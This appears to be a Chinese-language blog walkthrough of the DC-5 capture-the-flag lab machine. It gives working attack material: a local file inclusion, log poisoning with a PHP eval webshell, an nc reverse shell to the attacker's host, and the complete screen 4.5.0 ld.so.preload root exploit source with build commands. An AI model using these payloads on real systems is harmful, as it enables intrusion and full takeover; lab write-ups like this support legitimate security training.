1.靶机部署
kali安装:https://blog.youkuaiyun.com/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载: https://www.five86.com/downloads/DC-5.zip
解压后得到一个.ova的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
2.1 IP扫描
使用nmap对段内的靶机进行扫描:
nmap -A -T4 -p- 192.168.11.0/24
发现192.168.11.143开启了80端口,那我门访问试试:
通过浏览器访问,确定了我们的靶机IP就是143:
2.2 其他信息收集
确定了靶机IP之后,我们对靶机进行其他信息收集:
扫描开放端口:
nmap -A -T4 -p- 192.168.11.143
敏感目录扫描:
dirb http://192.168.11.143
网站指纹扫描:
whatweb -v 192.168.11.143
3.渗透过程
3.1 漏洞发现
对页面进行大概的浏览,没有发现有用信息,只有一个可以提交东西的页面:
提交后进入这样一个页面:
3.2 文件包含漏洞利用
这里我们偶然发现,时间跟当前的日期对不上,而且点刷新时间也会变化:网页还是php?firstname= 类型,猜测应该是存在文件包含漏洞:
直接拼接路径探测敏感目录,查看passwd文件试试:
http://192.168.11.143/thankyou.php?file=…/…/…/…/etc/passwd
使用bp抓包试试:
既然可以抓到我们提交的参数,那我们是否可以抓包,然后将参数修改为一句话木马,然后发送,这样一句话木马就会寻在于nginx服务器的日志当中,理论存在,实践开始:
<?php @eval($_POST['cmd'])?>
查看nginx服务器的错误日志,发现一句话木马写入成功:
http://192.168.11.143/thankyou.php?file=/var/log/nginx/error.log
使用蚁剑进行连接试试:
URL地址:http://192.168.11.143/thankyou.php?file=/var/log/nginx/error.log
密码:cmd
连接成功后即可进入shell:
3.3 反弹shell
尝试了诸多反弹shell的方法之后,发现可以使用nc进行反弹:
kali监听:
nc -lvp 4444
蚁剑反弹:
nc 192.168.11.128 4444 -e /bin/bash
3.4 提权
生成交互式shell:
python -c “import pty;pty.spawn(‘/bin/bash’)”
查找具有SUID权限的文件:
find / -perm -4000 -print 2>/dev/null
发现两个可疑文件:
使用kali查找screen的漏洞:
searchsploit screen 4.5.0
将41154.sh文件保存下来,为什么选择这个文件,因为我们查找到了两个文件,第一个是txt文件,很明显不是,第二和是sh文件,可执行文件,所以用它来试试:
locate 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./
使用ftp将文件下载到靶机:
kali开启ftp:
靶机端下载:
运行文件:
发现运行失败!!!
提示是格式不对,现在有两种方法:
方法一:
首先在Terminal中输入“vim 脚本”命令。
这时会看到文件最下方显示的是“[dos]”,这就表示这个脚本是dos格式的啦。如果没有看到,可以输入“:set ff”,按下Enter键,查看脚本格式。
输入“:set ff=unix”后按Enter,将格式更改为unix格式。
然后再输入“:set ff”,按下Enter键,这时如果看到“fileformat=unix”,这表明格式修改正确啦。
输入“:wq”,保存并退出脚本,再重新运行
因为交互界面不能使用vi或者vim指令,或者是使用之后有些功能用不了,所这个方法大概率用不了!!!
方法二:
将文件拆分,我这里拆分为三个文件:
进入kali的/tmp文件夹下,创建三个文件,三个文件如下:
为什么要进入/tmp文件夹下呢?
答:因为我们编译好的文件要在靶机的/tmp文件夹下运行,其他位置可能会存在权限不足的问题,所以程序里面的路径是/tmp目录下,为了保持和靶机统一,我们就在kali的/tmp目录下创建和编译!
第一个文件:
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
第二个文件:
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
第三个文件:
getshell.sh
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
我们不知道靶机里面是否可以编译c语言文件,所以提前在kali里面编译好:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
然后将这三个文件全部下载到靶机:
kali端开启ftp:
靶机端使用wget下载,不会?不会自己去搜wget使用方法:
然后运行getshell.sh
提权成功!